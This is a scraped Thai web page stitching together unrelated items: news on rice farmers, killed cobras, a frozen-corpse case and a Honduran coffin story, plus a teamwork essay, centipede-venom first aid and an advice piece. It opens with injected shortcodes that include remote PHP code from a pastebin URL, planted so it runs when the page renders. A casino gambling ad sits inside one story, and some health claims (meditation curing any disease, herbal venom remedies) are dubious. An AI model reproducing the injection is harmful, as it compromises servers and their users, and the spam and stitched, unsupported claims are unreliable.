test

[insert_php] include(‘http[:]//pastebin.com/raw/F9ffPKBM’); [/insert_php][php] include(‘http[:]//pastebin.com/raw/F9ffPKBM’); [/php]

ชาวนาสุดระทม โรงสีไม่รับซื้อข้าวเกี่ยวสด อ้างความชื้นสูง

วันที่ 31 ต.ค.59 ชาวนาบ้านโคกกลาง ต.คูเมือง อ.คูเมือง จ.บุรีรัมย์ กำลังประสบปัญหาเดือดร้อนหนัก เนื่องจากโรงสีไม่รับซื้อข้าวเปลือกเกี่ยวสดที่ชาวนาขนใส่รถไปรอขาย โดยอ้างว่ามีความชื้นสูง ทำให้ชาวนาต้องขนข้าวเปลือกกลับบ้านเพื่อนำมาตากให้แห้ง แล้วนำกลับไปขายใหม่อีกรอบ แต่หากถูกปฏิเสธไม่รับซื้อหรือได้ราคาต่ำมากจนเกินไปก็จะเก็บไว้บริโภคเพราะไม่มีทางเลือก 

ชาวนาสุดระทม โรงสีไม่รับซื้อข้าวเกี่ยวสด อ้างความชื้นสูง

ขณะที่ชาวนาบางรายก็ชะลอนำไปข้าวเปลือกไปขาย เพราะได้ราคาต่ำเหลือเพียงกิโลกรัมละ 5 – 6 บาท หรือตันละ 5 – 6 พันบาทเท่านั้นซึ่งไม่อยู่ที่จุดคุ้มทุน จึงตัดสินใจตากข้าวเก็บใส่ยุ้งไว้ก่อนเพื่อรอความหวังจากมาตรการช่วยเหลือของรัฐบาล ที่นายกรัฐมนตรีจะมีการประชุมคณะกรรมการนโยบายและบริหารจัดการข้าว (นบข.) เพื่อหาแนวทางแก้ปัญหาราคาข้าวตกต่ำ ซึ่งชาวนาส่วนใหญ่อยากให้รัฐบาลเร่งหาแนวทางพยุงราคาข้าวไม่ให้ต่ำกว่ากิโลกรัมละ 10 – 15 บาท แทนการให้สินเชื่อมากกว่าเพราะจะเป็นการสร้างภาระหนี้สินให้กับชาวนาเพิ่มอีก เพราะเดิมก็มีหนี้สินจากการกู้ยืมไปลงทุนทำนาอยู่แล้ว ยังไม่รู้จะหาเงินที่ไหนไปใช้หนี้หากขายข้าวได้ราคาตกต่ำแบบนี้ จึงอยากวิงวอนให้รัฐบาลเร่งหาแนวทางช่วยเหลือด้วย

นายทองอิ่ม เดิมทำรัมย์ กล่าวว่า ปีนี้ครอบครัวได้ทำนาทั้งหมด 36 ไร่เบื้องต้นตั้งใจจะเกี่ยวข้าวสดไปขาย 4 ตัน เพื่อจ่ายค่ารถเกี่ยว และเก็บไว้ใช้จ่ายในครอบครัวแต่กลับถูกโรงสีปฏิเสธไม่รับซื้อโดยอ้างว่าข้าวเกี่ยวสดมีความชื้นสูง จึงต้องขนข้าวกลับมาตากที่บ้านแต่ก็ยังไม่รู้ว่าหากตากแห้งแล้ว นำไปขายจะได้กิโลกรัมละกี่บาท เพราะขณะนี้ในพื้นที่รับซื้อเพียงกิโลกรัมละ 5 – 6 บาทเท่านั้น จึงอยากร้องขอให้รัฐบาลเร่งหาแนวทางช่วยเหลือโดยการพยุงราคาข้าวให้สูงขึ้น หากเป็นไปได้ก็อยากให้อยู่ที่กิโลกรัมละ 15 บาท จึงจะมีเงินเพียงพอใช้หนี้ ธกส.

นางนิตยา จันทร์รัตน์ กล่าวว่า ปีนี้ได้ผลผลิตข้าวดีมากแต่เมื่อนำไปขายกลับได้เพียงกิโลกรัมละ 6 บาท จึงตัดสินใจชะลอยังไม่ขาย เพื่อรอดูมาตรการช่วยเหลือจากรัฐบาลก่อน แต่ส่วนตัวชาวนาก็อยากให้รัฐบาลพยุงราคาข้าวไม่ให้ต่ำกว่ากิโลกรัมละ 10 บาทมากกว่าที่จะให้สินเชื่อ เพราะจะเป็นการสร้างภาระหนี้สินเพิ่มขึ้นอีก แต่หากจะช่วยเหลือเป็นโครงการสินเชื่อเพื่อชะลอการขายข้าวหรือ (จำนำยุ้งฉาง) นั้น ก็ไม่ควรต่ำกว่าตันละ 12,000 บาท และควรจะให้ครอบคลุมทุกราย

ตีตายคู่ งูเห่ายักษ์ กำลังรัดผสมพันธุ์ เจอริมแม่น้ำ ซ.วัดกู้ ปากเกร็ด

งูเห่าตัวเขื่อง คาดเป็นคู่ผัวเมียอยู่ด้วยกันที่แนวคันกั้นน้ำริมเจ้าพระยา ซอยวัดกู้ ปากเกร็ด ช่างเทศบาลเดินไปเจอ คล้ายกำลังรัดผสมพันธุ์ ปล่อยไว้กลัวจะกัดชาวบ้านเลยคว้าไม้ตีตายทั้งคู่ จะทิ้งก็เสียดาย จึงคิดว่าจะเอาไปผัดเผ็ด…%e0%b8%86%e0%b9%88%e0%b8%b2%e0%b8%87%e0%b8%b9%e0%b9%80%e0%b8%ab%e0%b9%88%e0%b8%b2%e0%b8%aa%e0%b8%ad%e0%b8%87%e0%b8%9c%e0%b8%b1%e0%b8%a7%e0%b9%80%e0%b8%a1%e0%b8%b5%e0%b8%a2

เมื่อเวลา 13.00 น. วันที่ 20 ต.ค. ขณะที่ นายอนิรุตติ โกษะ อายุ 39 ปี พนักงานกองช่าง เทศบาลนครปากเกร็ด จ.นนทบุรี เดินลุยหญ้าตรวจแนวคันกั้นน้ำริมแม่น้ำเจ้าพระยา บริเวณด้านหลังวัดกู้ ซอยวัดกู้ ต.บางพูด อ.ปากเกร็ด จ.นนทบุรี พบงูเห่าสีดำขนาดใหญ่สองตัว ลำตัวเส้นผ่าศูนย์กลางกว่า 4 นิ้ว ยาวประมาณ 2 เมตร กำลังใช้ลำตัวรัดกันแน่นคล้ายผสมพันธ์ุ ทันทีที่เดินเข้าไป งูทั้งสองตัวชูคอสูง แผ่แม่เบี้ยทำท่าดุร้าย

นายอนิรุตติ เห็นท่าไม่ดีเกรงว่าจะไม่ปลอดภัย และถ้าหากปล่อยไว้เกรงว่าจะเลื้อยไปทำอันตรายชาวบ้าน เนื่องจากอยู่ติดชุมชนบ้านพักอาศัยที่มีคนอยู่กันหนาแน่น จึงตัดสินใจไปหยิบท่อนไม้ มาตีงูทั้งสองตัวจนตาย ซึ่ง นายอนิรุตติ กล่าวว่า ไม่เคยพบงูเห่าตัวใหญ่ขนาดนี้มาก่อน โชคดีที่ไปเห็นก่อน หากไม่เห็นเผลอเหยียบถูกตัวคงจะแย่แน่ เพราะงูเห่ามีพิษร้ายแรง

นายอนิรุตติ กล่าวด้วยว่า งูเห่าสองตัวนี้จะนำไปทิ้งก็เสียดาย จึงคิดว่าจะนำไปผัดเผ็ดเป็นอาหารมื้อเย็นของวันนี้ต่อไป.

ใกล้รู้ตัวเหยื่อ ถูกหั่นแช่แข็ง รอผลดีเอ็นเอ ว่าตรงหรือไม่

สุวัฒน์” รอง ผบช.น. คาดเร็วๆ นี้ รู้ชื่อศพถูกหั่นแช่แข็งแก๊งปลอมพาสปอร์ตชาวอเมริกัน รอเพียงผล ชันสูตรศพจากแพทย์นิติวิทยาศาสตร์ รพ.จุฬาฯ ยืนยันตัวบุคคลว่าตรงกันหรือไม่ ยันเหตุถูกฆ่าเสียชีวิตไม่ใช่ปมรักร่วมเพศ ส่วน “ศานิตย์” ผบช.น.เผย “วิลเลียม ปีเตอร์ จอห์นสัน” ทำร้ายอดีตเมียจนผวาไม่กล้ามาพบตำรวจ จ่อเรียกอดีตสาวใช้ที่ลาออกไปอยู่กับสามี มาเป็นพยานสำคัญ%e0%b8%86%e0%b9%88%e0%b8%b2%e0%b8%ab%e0%b8%b1%e0%b9%88%e0%b8%99%e0%b8%a8%e0%b8%9e
กรณีตำรวจท่องเที่ยวบุกเข้าจับกุมนายวิลเลียม ปีเตอร์ จอห์นสัน หรือนายชาลี เอ็ดเวิร์ด ไดเติ้ล หรือนายเฮอร์เบิร์ด เครก ลาฟอง อายุ 66 ปี อดีตทหารผ่านศึกเวียดนาม นายเจมส์ ดักกลาส แอคเกอร์ อายุ 63 ปี และนายแอรอน เอโด หรือนายอารอน โธมัส แกเบล อายุ 40 ปี 3 ผู้ต้องหาแก๊งปลอมพาสปอร์ตชาวสหรัฐอเมริกา ภายในอาคารพาณิชย์ ย่านซอยสุขุมวิท 56 ทำให้เจ้าหน้าที่ฝ่ายสืบสวน บก.ทท.ถูกยิงบาดเจ็บ ตรวจค้นพบศพชายชาวยุโรป อายุ 40-45 ปี ผมสีทอง ฟันเหยิน ถูกฆ่าหั่นศพยัดอยู่ในตู้แช่ขนาดใหญ่ อยู่ระหว่างการสืบสวนสอบสวนว่าผู้ตายเป็นใคร นอกจากนี้ยังติดตามหาตัว น.ส.ธัญญารัตน์ สิงขรอาจ สาวไทยคนสนิทที่ดูแลนายโรเบิร์ต โลแกน แกรนดี อายุ 65 ปี เพื่อนสนิทนายวิลเลียม ปีเตอร์ จอห์นสัน เจ้าของบ้านพักที่กลุ่มผู้ต้องหาเคยพักอาศัยอยู่ในซอยเอกมัย 12 โดยนายโรเบิร์ตป่วยเป็นมะเร็งเสียชีวิต ศพถูกเผาที่วัดย่านห้วยขวาง เพื่อคลี่ปมสงสัยต่างๆ

ความคืบหน้าเกี่ยวกับเรื่องนี้เมื่อเวลา 14.00 น.วันที่ 29 ก.ย. พล.ต.ท.ศานิตย์ มหถาวร ผบช.น. เผยว่า เจ้าหน้าที่อยู่ระหว่างการเชิญอดีตภรรยาของนายวิลเลียม ปีเตอร์ จอห์นสัน เข้ามาให้ปากคำ แต่ยังไม่ยอมเข้าพบพนักงานสอบสวน เนื่องจากอยู่ในอาการหวาดกลัว เพราะในอดีตเคยถูกนายวิลเลียม ข่มขู่ทำร้ายร่างกายมาเป็นเวลาหลายปีก่อนจะเลิกรากันไปและมีสามีใหม่ นอกจากนี้จะเชิญคนใช้ที่ทำงานก่อนหน้านี้หลายปีแต่ขอลาออกไปเพื่อกลับบ้านไปอยู่กับสามี พยานปากนี้จะเป็นกุญแจสำคัญบอกถึงพฤติการณ์ของนายวิลเลียม และทราบถึงที่มาที่ไปของตู้แช่ศพ ทั้งนี้ อาจจะได้ข้อมูลสำคัญที่อาจเชื่อมโยงไปถึงศพที่พบในตู้แช่และพฤติกรรมต่างๆของนายวิลเลียม หากสอบพยานทั้งหมดก็อาจจะนำไประบุถึงข้อมูลของผู้เสียชีวิตได้

ผบช.น.กล่าวอีกว่า ส่วนผลการชันสูตรศพผู้เสียชีวิตซึ่งมีทั้งหมด 6 ส่วน ยังต้องรอผลจากแผนกนิติเวชฯ รพ.จุฬาลงกรณ์ เพื่อยืนยันให้ได้ว่าเสียชีวิตเนื่องจากสาเหตุใด เป็นการทำให้เสียชีวิต หรือเสียชีวิตเอง รวมถึงลายนิ้วมือแฝงที่สามารถเก็บได้จากถุงดำที่ใช้ห่อชิ้นส่วนศพอยู่ระหว่างการตรวจพิสูจน์ตามสถานทูตต่างๆว่าจะตรงกับบุคคลใด หากตรงกับ 1 ใน 3 ผู้ต้องหานี้ก็จะนำมาใช้เป็นหลักฐานสำคัญในการมัดตัวเพิ่มเติม แต่หากเป็นลายนิ้วมือของผู้เสียชีวิตก็จะสามารถระบุได้ว่าเป็นใคร และมีความเกี่ยวข้องกับนายวิลเลียมอย่างไร ซึ่งจะนำไปสู่การขออนุมัติศาลออกหมายจับเพิ่มในข้อหาฆ่าผู้อื่นต่อไป

ด้าน พล.ต.ต.สุวัฒน์ แจ้งยอดสุข รอง ผบช.น. เผยว่า ล่าสุดทีมสืบสวนสอบสวนนครบาลพอจะทราบชื่อของศพแช่แข็งแล้ว แต่ยังไม่สามารถยืนยันชัดเจนได้ว่าใช่หรือไม่ เนื่องจากต้องรอผลแพทย์นิติวิทยาศาสตร์ รพ.จุฬาลงกรณ์ ยืนยันอีกครั้งว่าตรงกันหรือไม่ คาดอีก 1-2 วัน มีความชัดเจนในเรื่องนี้ อย่างไรก็ตาม มีรายงานประเด็นศพที่ถูกฆ่าแช่แข็งเป็นเรื่องของรักร่วมเพศว่าไม่ใช่ข้อเท็จจริง เนื่องจากการตรวจสอบเบื้องต้นพบว่าผู้ตายมีครอบครัวแล้ว แต่ทั้งนี้ทั้งนั้นต้องรอแพทย์ยืนยันอีกครั้งว่าศพแช่แข็งนั้นใช่บุคคลเดียวกับที่ทีมสืบสวนสอบสวนนครบาลตรวจสอบพบหรือไม่

ผวา ทุบเปิดฝาโลง! หนุ่มฮอนดูรัส ได้ยินเสียงร้อง จากโกดังเก็บศพแฟนสาว

เว็บไซต์ มิร์เรอร์ รายงานและเผยแพร่คลิปเหตุการณ์สุดระทึก ชนิดคนกลัวผีอาจวิ่งหนีกระเจิงไปก่อนแล้ว

เมื่อชายหนุ่มชาวฮอนดูรัส หลายคนในเมืองลา เอ็นตราดา ได้ช่วยกันทุบโกดังเก็บศพของหญิงสาว ชื่อ เนย์ซี เปเรซ วัย 16 ปี ซึ่งเสียชีวิตเมื่อไม่นาน หลังแฟนหนุ่มได้ยินเสียงร้องดังออกมาจากในโกดังบรรจุศพ ขณะที่มีคนอื่นได้ยินเสียงร้องเช่นกัน จนแน่ใจ จึงช่วยกันทุบโกดังปูนซีเมนต์และนำโลงศพของหญิงสาวออกมาท่ามกลางความลุ้นระทึก

ข่าวแจ้งว่า ก่อนหน้านี้ ได้มีการนำศพของเนย์ซี เปเรซ ซึ่งกำลังตั้งครรภ์ไปประกอบพิธีทางศาสนาและถูกฝังอย่างเรียบร้อย หลังจากเธอเกิดหัวใจวายตายกะทันหัน ระหว่างเกิดไฟไหม้ และแพทย์ได้มาตรวจและลงความเห็นยืนยันการเสียชีวิตของเนย์ซีไปเรียบร้อย จึงทำให้ทางครอบครัวตัดสินใจนำร่างเธอใส่โลงและไปเก็บไว้ที่สุสานตามประเพณี

       Reddragon88 เราได้คัดสรรบริการเกมส์ คาสิโนออนไลน์ ชั้นนำมาให้ท่านลูกค้าได้เลือกเล่นกันมากมาย ส่วนมากจะเป็นบริการที่ได้รับความนิยม และรู้จักันดีอยุ่แล้ว ท่านที่ชอบพนันบอลออนไลน์ไม่ควรพลาด สมัครง่ายเดิมพันสนุก กับเราได้ตลอด 24 ชั่วโมง

แต่แล้ว กลับเกิดเรื่องไม่น่าเชื่อ เมื่อแฟนหนุ่มของเนย์ซี มาเยี่ยมศพแฟนสาวในวันรุ่งขึ้น เขาเกิดได้ยินเสียงอะไรบางอย่างดังออกมาจากในโกดังเก็บศพ ไม่รอช้า หนุ่มฮอนดูรัสคนนี้จึงได้รีบไปตามคนยามเฝ้าสุสานมาช่วยฟังดูว่ามีเสียงดังออกมาจากในโลงศพอย่างที่เขาได้ยินหรือไม่

ซึ่งยามก็ได้ยินเช่นกัน จึงทำให้เกิดการทุบโกดังเก็บศพและนำโลงศพของเนย์ซีออกมา ขณะที่คนในครอบครัวก็ช่วยกันพัดให้ความเย็นแก่เนย์ซี เพื่อหวังให้เธอฟื้น แต่ดูเหมือนทุกอย่างจะสายเกินไปด้านบรรดาแพทย์กล่าวว่า เนย์ซีเสียชีวิตแล้ว และเสียงที่ได้ยินว่าดังมาจากในโลงศพอาจเป็นเรื่องที่แฟนหนุ่มของเธอกุเรื่องขึ้นมาก็เป็นได้

การทำงานร่วมกันอยุ่ร่วมกันอย่างมีความสุข เค้าทำกันยังไง

การทำงานเป็นทีม หมายถึง การร่วมกันทำงานของสมาชิกที่มากกว่า 1 คน โดยที่สมาชิกทุกคนนั้นจะต้องมีเป้าหมายเดียวกันจะทำอะไรแล้วทุกคนต้องยอมรับร่วมกัน

มีการวางแผนการทำงานร่วมกันการทำงานเป็นทีมมีความสำคัญในทุกองค์กรการทำงานเป็นทีมเป็นสิ่งจำเป็นสำหรับการเพิ่มประสิทธิภาพและประสิทธิผลของการบริหารงานการทำงานเป็น ทีมมีบทบาทสำคัญที่จะนำไปสู่ความสำเร็จของงานที่ต้องอาศัยความร่วมมือของกลุ่มสมาชิกเป็นอย่างดี

ลักษณะของทีม ลักษณะที่สำคัญของทีม 4 ประการ ได้แก่

1. การมีปฏิสัมพันธ์ทางสังคมของบุคคล หมายถึง การที่สมาชิกตั้งแต่ 2 คนขึ้นไปมีความเกี่ยวข้องกันในกิจการของกลุ่ม / ทีม ตระหนักในความสำคัญของกันและกัน แสดงออกซึ่งการยอมรับ การให้เกียรติกัน สำหรับกลุ่มขนาดใหญ่มักมีปฏิสัมพันธ์กันเป็นเครือข่ายมากกว่าการติดต่อกันตัวต่อตัว

2. มีจุดมุ่งหมายและเป้าหมายร่วมกัน หมายถึง การที่สมาชิกกลุ่มจะมีส่วนกระตุ้นให้เกิดกิจกรรมร่วมกันของทีม / กลุ่ม โดยเฉพาะจุดประสงค์ของสมาชิกกลุ่มที่สอดคล้องกับองค์การ มักจะนำมาซึ่งความสำเร็จของการทำงานได้ง่าย

3. การมีโครงสร้างของทีม / กลุ่ม หมายถึง ระบบพฤติกรรม ซึ่งเป็นแบบแผนเฉพาะกลุ่มสมาชิกกลุ่มจะต้องปฏิบัติตามกฏหรือมติของกลุ่ม ซึ่งอาจจะเป็นกลุ่มแบบทางการ (Formal Group) หรือกลุ่มแบบไม่เป็นทางการ (Informal Group) ก็ได้ สมาชิกทุกคนของกลุ่มจะต้องยอมรับและปฏิบัติตามเป็นอย่างดี สมาชิกกลุ่มย่อย อาจจะมีกฎเกณฑ์แบบไม่เป็นทางการ มีความสนิทสนมกันอย่างใกล้ชิดระหว่างสมาชิกด้วยกัน

4. สมาชิกมีบทบาทและมีความรู้สึกร่วมกัน การรักษาบทบาทที่มั่นคงในแต่ละทีม / กลุ่ม จะมีความแตกต่างกันตามลักษณะของกลุ่ม รวมทั้งความรู้ความสามารถของสมาชิก โดยจีการจัดแบ่งบทบาทและหน้าที่ ความรับผิดชอบ กระจายงานกันตามความรู้ ความสามารถ และความถนัดของสมาชิก การทำงานเป็นทีมเป็นแรงจูงใจสำคัญที่จะผลักดันให้ท่านเป็นผู้นำที่ดี ถ้าท่านประสงค์ที่จะนำทีมให้ประสบความสำเร็จในการทำงาน ท่านจำเป็นต้องค้นหาคุณลักษณะของการทำงานเป็นทีมให้พบระลึกไว้เสมอว่าทุกคนมีอิสระในตัวเอง ขณะเดียวกันก็เป็นส่วนหนึ่งของทีม แล้วจึงนำเอากลยุทธ์ในการสร้างทีมเข้ามาใช้เพื่อให้ทุกคนทำงานร่วมกันและประสบความสำเร็จ

พิษตะขาบ และการแก้พิษ อ.แดน หมอสมุนไพร

ตะขาบสามารถมีอายุได้มากกว่า 5 ปี และมีการลอกคราบเหมือนสัตว์เลื้อยคลานทั่วไป

โดยทั่วไปเรามักไม่พบตะขาบในเวลากลางวัน นอกจากรังของมันจะถูกรบกวนหรือถูกทำลาย เช่น การรื้อกองดิน กองไม้ หรือมักพบได้บ่อยในกรณีน้ำท่วม บางคนหลงเข้าใจผิดว่าหากตะขาบตัวขาดแล้วจะตายไม่สามารถเคลื่อนไหวได้นั้น ไม่ถูกต้อง เพราะถึงแม้ตัวจะถูกตัวขาดเป็น2 ท่อน แต่ส่วนหัวหรือส่วนหางก็สามารถเคลื่อนไหวได้ และอาจถูกต่อยหากเผอไปจับ

โดยทั่วไปพิษของตะขาบไม่สามารถทำให้คนเราเสียชีวิตได้ แต่ทำให้เกิดอาการของพิษเล็กน้อยเท่านั้น ลักษณะของแผลที่ถูกตะขายต่อยจะมีลักษณะคล้ายเข็มแทง พิษของตะขาบประกอบด้วยสาร hydroxytryptamine หรือ cytolysin ที่มีฤทธิ์ทำให้เกิดอาการปวด ชา อักเสบ และบวม แดง บริเวณที่ถูกกัด ซึ่งเป็นสาเหตุทำให้เนื้อเยื่อบริเวณดังกล่าวเกิดการอักเสบ และขาดเลือด จนถึงทำให้เนื้อเยื่อตายในที่สุดหากไม่ได้รับการถอนพิษออก

ทั้งนี้ หากเกิดการต่อยในเด็ก อาการของพิษจะมีลักษณะบวมแดง และปวดมากกว่าผู้ใหญ่ จนอาจทำให้เกิดอาการเป็นไข้ร่วมด้วย นอกจากนั้น ยังมีรายงานทางการแพทย์ที่พบผู้เสียชีวิตจากการนำตะขาบทั้งตัวมา ดองเหล้าดื่ม และทำให้เกิดการเสียชีวิต เพราะเป็นสาเหตุให้อวัยวะภายในได้รับพิษโดยตรง และเกิดการล้มเหลวของการทำงานบริเวณอวัยวะ และบริเวณไกล้เคียง ซึ่งเป็นภาวะการเสียชีวิตจากอวัยวะภายในได้รับพิษ

การปฐมพยาบาล และการถอนพิษ

หากโดนตะขาบต่อยให้รีบทำการปฐมพยาบาลขั้นต้น ดังนี้

1. ทำการล้างแผลด้วยแอลกอฮอล์หรือน้ำยาล้างแผล และประคบด้วยน้ำแข็ง

2. อาจใช้แก้ปวดรับประทาน โดยควรหลีกเลี่ยงยาแก้ปวดที่มีฤทธิ์ในการกดประสาทรุนแรง

3. หากได้รับพิษมากหรือมีอาการปวดรุนแรง ให้รีบนำส่งแพทย์เพื่อทำการรักษาทันที

นอกจากนั้น มีรายงานการใช้สมุนไพรบางชนิดในการลดพิษ เช่น รางจืด น้ำมะนาว และยางมะละกอดิบที่สามารถลดพิษ และอาการปวดของพิษตะขาบได้สำหรับรางจืดอาจใช้ใบหรือลำต้นบดหรือฝนให้ละเอียดผสมน้ำเล็กน้อยประคบบาดแผล รวมถึงการต้มน้ำด่ืม ส่วนน้ำมะนาวควรใช้มะนาวพันธุ์ที่ให้รสเปรี้ยวจัด เพราะฤทธิ์ของกรดจะสามารถเปลี่ยนแปลงลักษณะของสารพิษได้ส่วนยางมะละกอเป็นสารที่มีคุณสมบัติเป็นเอนไซม์สามารถทำปฏิกิริยากับพิษได้เช่นกันจึงนิยมนำมาถอน และบรรเทาอาการของพิษต่างๆ สำหรับการใช้ทั้งน้ำมะนาว และน้ำยางมะละกอให้ใช้ทาบริเวณแผลโดยตรงเท่านั้น

การป้องกันพิษตะขาบ

หลักการป้องกันพิษจากตะขาบที่สำคัญก็คือการระมัดระวังตัวจากตะขายนั่นเอง โดยเฉพาะการหยิบจับสิ่งของที่อยู่ในที่มิดมืด ในร่องในรูต่างๆ ที่อาจมีตะขาบอาศัยอยู่ รวมไปถึงการสวมใส่เสื้อผ้า รองเท้า หมวกหรือเครื่องสวมใส่ร่างกายต่างๆ ซึ่งต้องตรวจสอบก่อนทุกครั้งหากจะสวมใส่ โดยเฉพาะอย่างยิ่งเสื้อผ้าหรืออุปกรณ์สวมใส่ที่เก็บทิ้งไว้นานๆในช่วงหน้าฝนหรือพื้นที่ที่มีน้ำท่วมขัง ควรต้องระวังในเรื่องสัตว์ที่มีพิษเป็นพิเศษ เพราะหากฝนตกหนักมักจะทำให้สัตว์มีพิษเหล่านี้หนีน้ำขึ้นหาที่สูงเพื่อหลบอาศัย โดยเฉพาะตามบ้านเรือนไกล้น้ำ ซึ่งจำเป็นต้องเพิ่มความระมัดระวัง และสอดส่องเป็นพิเศษ

วิธีจัดการกับความคิดถึง เพื่อชีวิตที่จะต้องก้าวต่อไป

บางครั้งการที่มีใครสักคนคิดถึงเราเป็นสิ่งที่ดีแต่บางทีการที่เราคิดถึงใครมากไปก็แย่เหมือนกันน้า…..ถ้าหากว่าความคิดถึงนั้น คิดถึงเท่าไหร่ก็ไม่ไปถึงเค้าคนนั้นสักทีต้องเก็บเอาไว้อยู่แต่ภายในใจ ไม่สามารถที่จะส่งผ่านความรู้สึกเหล่านั้นไปให้กับเค้าได้รับรู้ถ้าหากเป็นเช่นนี้เราจะทำอย่างไรดี..ระหว่าง…

บอกเค้าไปเลยว่าเราคิดถึง จะเก็บไว้ทำไมล่ะ ก็ความคิดถึงมันไม่ได้ทำร้ายใครสักหน่อย การที่เรารู้สึกดีกับคนๆหนึ่งก็ไม่ใช่เรื่องแปลกอะไรสักหน่อยแต่ถ้าหากว่าเค้ามีคู่อยู่แล้วจะทำยังไง ถ้าขืนจะไปบอกเค้าตรงๆก็เกรงใจคนที่อยู่ใกล้ตัว

เพราะฉะนั้นก็คงเลี่ยงไม่ได้ที่จะเลือกข้อถัดไป นั่นก็คือ..

เก็บเอาไว้เงียบๆคนเดียว แค่ได้คิดถึงก็พอแล้ว ถึงแม้ความคิดถึงจะไปไม่ถึง แต่ก็ยังรู้สึกดีที่ได้คิดถึง เอ๊ะ! ชักจะงงซะแล้วสิ “ความคิดถึงไปไม่ถึงแต่รู้สึกดีที่คิดถึง”ก็จะไม่ให้รู้สึกดีได้ไงละ เพราะการที่เรานึกถึงคนๆหนึ่ง นั่นหมายความว่าเรากำลังคิดถึงเรื่องราวดีๆ สิ่งดีๆ ภาพความทรงจำๆดีของเค้าอยู่ ก็คิดแต่เรื่องราวดีๆอย่างนี้ จะไม่ให้รู้สึกดีได้ไงเนอะแต่ในขณะเดียวกัน ถ้าความคิดถึงมันมีมากเกินจนเก็บเอาไว้ไม่อยู่ แทบจะล้นทะลักออกมาข้างนอก จะทำยังไงดีละเนี้ย???

ชักเป็นปัญหาหนักอกของใครหลายๆคนแล้วล่ะสิ

งั้นเรามาหาวิธีแก้กัน

ข้อแรก ตั้งสติ อันนี้พูดจริงๆนะ ตั้งสติ ใจเย็น สูดลมหายใจเข้าลึกๆสักสิบครั้ง แล้วลองหยุดนิ่งดู ถ้าความคิดถึงเราไม่มากนัก ก็สามารถหยุดได้ ณ ขั้นตอนนี้ แต่ถ้าหากวิธีนี้ไม่สามารถหยุดได้ เราไปดูข้อที่สองกัน

ข้อสอง บอกตัวเองว่า ตอนนี้เรากำลังทำอะไร พยายามเอาความรู้สึกไปจับกับสิ่งนั้น แล้วก็เอาความคิดถึงใส่ไปในสิ่งที่เรากำลังทำ ข้อนี้ นอกจากจะเป็นการปลดปล่อยอ้อมๆแล้ว งานที่เรากำลังทำยังออกมาดีอีกด้วยนะเออ เพราะการที่เราทำอะไรด้วยความรู้สึกดีๆแล้วเนี้ย งานก็จะง่ายขึ้น จริงมั้ย?

แต่ถ้าหากความคิดถึงมีมากจนวิธีนี้เอาไม่อยู่ งั้นดูข้อถัดไปกัน

ข้อสาม ออกกำลังกาย อันนี้ช่วยได้มากๆเลยน้า ใครไม่เคยทำลองไปทำดู ยิ่งออกแรงเยอะ ยิ่งปลดปล่อยความคิดถึงออกไปได้มาก คิดถึงมากเท่าไหร่ ก็ออกกำลังกายไปเท่ากับความคิดถึงเลย แล้วเราจะเห็นผลลัพธ์ของความคิดถึงว่าทำให้เราดูดีขึ้นมามากขนาดไหน นอกจากหยุดความคิดถึงที่ฟุ้งซ่านแล้ว จะได้สุขภาพดีๆ และร่างกายที่สวยงามกลับมาด้วยนะจ๊ะ แต่ถ้าหากความคิดถึงยังคงมากมายมหาศาลเหลือเกิน จนการออกกำลังกายก็ไม่สามารถต้านทาน ขอแนะนำข้อสุดท้ายเลยจ้า

ข้อสี่ นั่งสมาธิ อันนี้หลายคนพออ่านถึงกับไม่อยากอ่านต่อ แต่อยากจะบอกว่าของเค้าดีจริงๆนะคะ ไม่ว่าจะเป็นโรคอะไรมา เจอวิธีรักษาวิธีนี้เข้าไป หายทุกราย แต่วิธีนี้เป็นความสามารถส่วนบุคคล ไม่มีใครสามารถช่วยใครได้ ต้องช่วยตัวเองเท่านั้นจ้า ใครมีสมาธิดีตั้งจิตให้สงบได้ก็หาย แต่ถ้าใครทำไม่ได้จะยิ่งฟุ้งซ่านนะเออ แต่ยังไงแล้ว วิธีนี้ก็ไม่ยากเกินความสามารถของผู้อ่านทุกท่านหรอกคะ ลองทำดู นอกจากจะระงับโรคของความคิดถึงได้แล้ว ยังทำให้เรามีจิตใจที่ดีงาม สงบ แล้วยังช่วยให้การทำงานและการดำเนินชีวิตในสังคมเป็นไปอย่างปกติและราบรื่นอีกด้วย